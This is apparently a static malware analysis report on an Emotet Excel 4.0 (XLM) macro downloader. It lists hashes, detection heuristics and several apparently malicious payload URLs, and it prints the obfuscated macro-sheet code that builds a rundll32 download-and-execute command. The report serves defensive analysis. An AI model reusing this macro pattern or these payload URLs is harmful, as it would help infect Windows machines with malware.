Emotet — Office (OOXML) / .XLSX malware analysis

Static analysis result for SHA-256 71748e16d25665eb…

MALICIOUS

Office (OOXML) / .XLSX

68.9 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300
MD5: 937f402db87a706a72af113758140dd8 SHA-1: 766c550154b051c0157551ccce0a9688db9a110d SHA-256: 71748e16d25665eb6a75002b1a515c49cfe7734fa778fad37d8b54d0946a8073
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The file contains Excel 4.0 macros, identified by critical heuristics, which are known to be used by Emotet for initial execution. The macros construct a command to download and execute a payload using rundll32.exe, referencing the URL http://thereliableprofessionals.com/ALFA_DATA/nuUv5Mt6oySnaB3EU/. The presence of dangerous XLM formula APIs and the ClamAV detection further support the malicious classification.

Heuristics 7

  • ClamAV: Xls.Downloader.EmotetExcel02221-9938627-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02221-9938627-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA, RETURN critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://thereliableprofessionals.com/ALFA_DATA/nuUv5Mt6oySnaB3EU/ In macro / runtime command snippet
    • https://new.kameeztor.com/elementor-pro/leH/In document text (OOXML body / shared strings)
    • http://h5.l2saga.net/wp-content/uploads/FqnWeRNxxsUcb/In document text (OOXML body / shared strings)
    • https://hotrotamlythpt.org/4sxlc/hKWQyF4fe5VO9t7vi/In document text (OOXML body / shared strings)
    • https://nuno.studio/cgi-bin/CzaqtBSuGwn9SW7cn/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
d810cc87eb589e5f09a9a5cb06e9b818ff37e1b4d0032ba08fbf4b3620a5d223
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3431 bytes
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{869027D1-992E-48D7-A071-1E566ED95F9C}"><dimension ref="C6:C31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.85546875" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="4.85546875" style="1"/></cols><sheetData><row r="6" spans="3:3" x14ac:dyDescent="0.25"><c r="C6" s="1" t="b"><f>FORMULA(EbrbwQ1!Q12,KKLD8)=FORMULA(Gfefq1!P22&amp;Gfefq1!H9&amp;Gfefq1!L2&amp;Gfefq1!B15&amp;Gfefq1!B15&amp;EbrbwQ1!B6&amp;EbrbwQ1!D11&amp;EbrbwQ1!F3&amp;EbrbwQ2!B10&amp;EbrbwQ1!G19&amp;EbrbwQ1!T5&amp;EbrbwQ2!P14,C15)=FORMULA(Gfefq1!P22&amp;Gfefq1!J11&amp;Gfefq1!B18&amp;Gfefq1!P11&amp;"KKLD"&amp;Gfefq1!P9&amp;Gfefq1!K9&amp;Gfefq1!P7&amp;Gfefq1!P19&amp;Gfefq1!H9&amp;Gfefq1!L2&amp;Gfefq1!B15&amp;Gfefq1!B15&amp;EbrbwQ1!B6&amp;EbrbwQ1!D11&amp;EbrbwQ1!F3&amp;EbrbwQ2!B10&amp;EbrbwQ1!I22&amp;EbrbwQ1!T5&amp;EbrbwQ2!P14&amp;Gfefq1!P13,C17)=FORMULA(Gfefq1!P22&amp;Gfefq1!J11&amp;Gfefq1!B18&amp;Gfefq1!P11&amp;"KKLD1"&amp;Gfefq1!P9&amp;Gfefq1!K9&amp;Gfefq1!P7&amp;Gfefq1!P19&amp;Gfefq1!H9&amp;Gfefq1!L2&amp;Gfefq1!B15&amp;Gfefq1!B15&amp;EbrbwQ1!B6&amp;EbrbwQ1!D11&amp;EbrbwQ1!F3&amp;EbrbwQ2!B10&amp;EbrbwQ1!J19&amp;EbrbwQ1!T5&amp;EbrbwQ2!P14&amp;Gfefq1!P13,C19)=FORMULA(Gfefq1!P22&amp;Gfefq1!J11&amp;Gfefq1!B18&amp;Gfefq1!P11&amp;"KKLD2"&amp;Gfefq1!P9&amp;Gfefq1!K9&amp;Gfefq1!P7&amp;Gfefq1!P19&amp;Gfefq1!H9&amp;Gfefq1!L2&amp;Gfefq1!B15&amp;Gfefq1!B15&amp;EbrbwQ1!B6&amp;EbrbwQ1!D11&amp;EbrbwQ1!F3&amp;EbrbwQ2!B10&amp;EbrbwQ2!F2&amp;EbrbwQ1!T5&amp;EbrbwQ2!P14&amp;Gfefq1!P13,C21)=FORMULA(Gfefq1!P22&amp;Gfefq1!J11&amp;Gfefq1!B18&amp;Gfefq1!P11&amp;"KKLD3"&amp;Gfefq1!P9&amp;Gfefq1!K9&amp;Gfefq1!P7&amp;Gfefq1!P19&amp;Gfefq1!H9&amp;Gfefq1!L2&amp;Gfefq1!B15&amp;Gfefq1!B15&amp;EbrbwQ1!B6&amp;EbrbwQ1!D11&amp;EbrbwQ1!F3&amp;EbrbwQ2!B10&amp;EbrbwQ2!N3&amp;EbrbwQ1!T5&amp;EbrbwQ2!P14&amp;Gfefq1!P13,C23)=FORMULA(Gfefq1!P22&amp;Gfefq1!J11&amp;Gfefq1!B18&amp;Gfefq1!P11&amp;"KKLD4"&amp;Gfefq1!P9&amp;Gfefq1!K9&amp;Gfefq1!P7&amp;Gfefq1!P19&amp;Gfefq1!H9&amp;Gfefq1!B15&amp;Gfefq1!I17&amp;Gfefq1!I3&amp;Gfefq1!H13&amp;Gfefq1!P11&amp;Gfefq1!K9&amp;Gfefq1!P13&amp;Gfefq1!P7&amp;Gfefq1!P13,C25)=FORMULA(Gfefq1!P22&amp;Gfefq1!H13&amp;Gfefq1!N4&amp;Gfefq1!H13&amp;Gfefq1!H9&amp;Gfefq1!P11&amp;Gfefq1!P15&amp;Gfefq1!H9&amp;Gfefq1!P20&amp;EbrbwQ1!R7&amp;EbrbwQ1!L4&amp;EbrbwQ1!S2&amp;EbrbwQ1!M14&amp;Gfefq1!P15&amp;Gfefq1!P17&amp;"KKLD8"&amp;Gfefq1!P13,C27)</f><v>1</v></c></row><row r="31" spans="3:3" x14ac:dyDescent="0.25"><c r="C31" s="1" t="b"><f>RETURN()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>